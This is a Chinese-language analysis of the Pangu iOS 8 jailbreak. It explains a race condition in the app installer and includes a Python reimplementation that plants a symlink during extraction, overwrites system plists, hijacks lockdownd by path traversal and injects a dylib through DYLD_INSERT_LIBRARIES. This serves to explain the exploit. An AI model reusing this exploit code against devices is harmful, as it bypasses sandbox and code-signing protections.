盤古越獄原理分析 讓我們一起來看清它如何越獄的！

盤古團隊的ios8.X的越獄工具是目前備受國人矚目的熱點，那么問題來了，盤古工具究竟是怎么使用漏洞進行越獄的呢?接下來給大家揭開謎團。。。

盤古在用戶空間主要利用了iOS安裝程序的一個漏洞，這里先列出安裝一個應(yīng)用的主要過程：

整個安裝過程分為12個階段，上圖只是列出了起點、終點還是對盤古越獄來說比較重要的階段。大家注意上圖紅線所示的時間區(qū)間，在這個區(qū)間內(nèi)如果在“Staging Directory”中創(chuàng)建一個符號鏈接指向沙盒之外，就可以利用解壓程序向系統(tǒng)目錄寫入文件。同時也可以通過控制壓縮包中的文件列表，在起始處放一個大文件，從而在解壓過程中創(chuàng)建一個符號鏈接。這是在盤古在安裝過程中利用的主要漏洞，后面介紹的盤古在用戶空間的行為基本都是圍繞這個漏洞。

主要的組件

盤古主要由四部分組成：

1、桌面程序：提供資源，控制越獄流程。

2、com.pangu.ipa1.ipa：Socket Server，與桌面程序配合制造競態(tài)條件。

3、pangu.dylib，Socket Server，利用內(nèi)核漏洞安裝Untecher，Cydia等。

4、pangu.tar，Untecher

這里主要涉及的是前兩個組件，及第三個組件中用戶空間相關(guān)的部分。

工作流程

說明：為了驗證自己的分析是正確的，用Python重新實現(xiàn)了盤古桌面程序的功能，利用盤古的Payload可以實現(xiàn)越獄，下面會在主要階段給出相應(yīng)示例代碼。

階段一：安裝輔助程序，獲取相關(guān)資源

1、安裝com.pangu.ipa1.ipa

def install_pangu():

lockdown = LockdownClient()

afc = AFCClient(lockdown)

mci = lockdown.startService("com.apple.mobile.installation_proxy")

file_name = "com.pangu.ipa1.ipa"

afc.set_file_contents("/PublicStaging/" + file_name, open("payload/" + file_name,"rb").read())

mci.sendPlist({"Command":"Install", "PackagePath": "/PublicStaging/" + file_name})

while True:

status = mci.recvPlist()

if not status:

break

completion = status.get("PercentComplete")

if completion:

print "Installing, %s: %s %% Complete" % ("com.pangu.ipa1.ipa", status["PercentComplete"])

if status.get("Status") == "Complete":

print "Installation %s " % status["Status"]

break

mci.close()

afc.stop_session()

lockdown.stop_session()

首先利用AFC服務(wù)將IPA傳到設(shè)備上，然后利用 Installation Proxy 安裝應(yīng)用。

2、獲取Cache

def download_caches():

fc = FileRelayClient()

data = fc.request_sources(["Caches"])

fc.stop_session()

if data:

file_path = "./payload/caches.gz"

output_path = "./payload/caches"

open(file_path,"wb").write(data)

print "Data saved to: %s " % file_path

with open(file_path, "r") as f:

gz = gzip.GzipFile(mode="rb", fileobj=f)

cpio = CpioArchive(fileobj=BytesIO(gz.read()))

cpio.extract_files(files=None,outpath=output_path)

else:

print "Fail to get caches"

raise Exception("Fail to get caches")

調(diào)用 FileRelay 服務(wù)，獲取Cache，主要是從中拿到com.apple.mobile.installation.plist

3、修改 com.apple.mobile.installation.plist修改是針對盤古程序的，具體修改如下：

CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";

EnvironmentVariables = { DYLD_INSERT_LIBRARIES = "/private/var/mobile/Media/Pangu-Install/pangu.dylib"; };

4、修改盤古程序的Info.plist

CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";

5、構(gòu)造applicationState.plist

{ "com.pangu.ipa1" = { SBApplicationAutoLaunchForVoIP = :true; }; }

這個會造成盤古程序在設(shè)備重啟后自動運行。

6、com.apple.LaunchServices-056.csstore 主要是為了更新程序列表

7、com.apple.backboardd.plist 禁用“看門狗”

基于上述文件盤古會構(gòu)造三個Payload。

def generate_upgrade_bundle1():

guid_str = get_guid()

with ZipFile("./payload/upgrade1.zip", "w") as payload:

payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")

payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")

payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")

payload.write("./payload/upgrade_bundle/applicationState.plist", "/mobile/Library/BackBoard/applicationState.plist")

payload.write("./payload/upgrade_bundle/com.apple.backboardd.plist", "/mobile/Library/Preferences/com.apple.backboardd.plist")

payload.write("./payload/upgrade_bundle/Info.plist", "/mobile/Applications/" + guid_str + "/ipa1.app/Info.plist")

def generate_upgrade_bundle2():

# os.remove("./payload/upgrade2.zip")

guid_str = get_guid()

with ZipFile("./payload/upgrade2.zip", "w") as payload:

payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")

payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")

def generate_upgrade_bundle3():

# os.remove("./payload/upgrade3.zip")

guid_str = get_guid()

with ZipFile("./payload/upgrade3.zip", "w") as payload:

payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")

payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")

這個階段會知道三個程序升級包，供下一階段使用。

另外，可以簡單的理解為：執(zhí)行完這個階段就對應(yīng)著盤古提示用戶在手機上啟動程序。

階段二：利用競態(tài)條件安裝文件，構(gòu)造環(huán)境執(zhí)行pangu.dylib

當用戶在手機上啟動程序后，手機上的App會啟動一個Socket Server，等待桌面程序的握手，這個握手的暗語挺有意思。桌面向App發(fā)送：PING，App收到后回應(yīng)桌面：PONG。在握手完成后，盤古開始利用靜態(tài)條件將如上構(gòu)造的三個Payload安裝到手機上。

具體過程為首先利用安裝服務(wù)安裝升級包，在安裝的過程中桌面向App發(fā)送starthook，具體hook的內(nèi)容可以通過調(diào)試App確定是創(chuàng)建一個符號鏈接：

"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted" ---> "/var/"

其中后綴部分會因為每次安裝而不同。

示例代碼：

def fire_race_condition(lockdown, file_name):

mci = lockdown.startService("com.apple.mobile.installation_proxy")

sock = get_sock()

print "----->PING"

sock.send("PING")

msg = sock.recv(4)

if msg == "PONG":

print "<-----PONG "

upgrade_pangu(mci, file_name)

print "----->starthook"

sock.send("starthook")

msg = sock.recv(4)

if msg == "succ":

print "<-----success "

else:

print "<-----fail "

在完成安裝三個Payload之后，盤古會上傳文件到Media中的 Pangu-Install目錄：

Cydia.tar

packagelist.tar

pangu.dylib

pangu.tar

pangu_ex.tar

至此，盤古基本完成了用戶空間的行為，在界面上的反應(yīng)為：盤古會第一次重啟設(shè)備。

階段三：利用漏洞安裝Untecher，Cydia

設(shè)備重啟完成后，pangu.dylib會被加載，并啟動一個 Socket Server。桌面程序在檢測到設(shè)備加載后會向 pangu.dylib 發(fā)送：55AA，pangu.dylib 接到 55AA后開始安裝Untecher、Cydia。

階段四：清理

在pangu.dylib完成工作后，向桌面程序發(fā)送：AA55，桌面程序開始清理臨時文件，刪除Provisional文件，恢復(fù)設(shè)備時間等操作。在完成清理操作后，桌面程序會第二次重啟設(shè)備，至此越獄完成。

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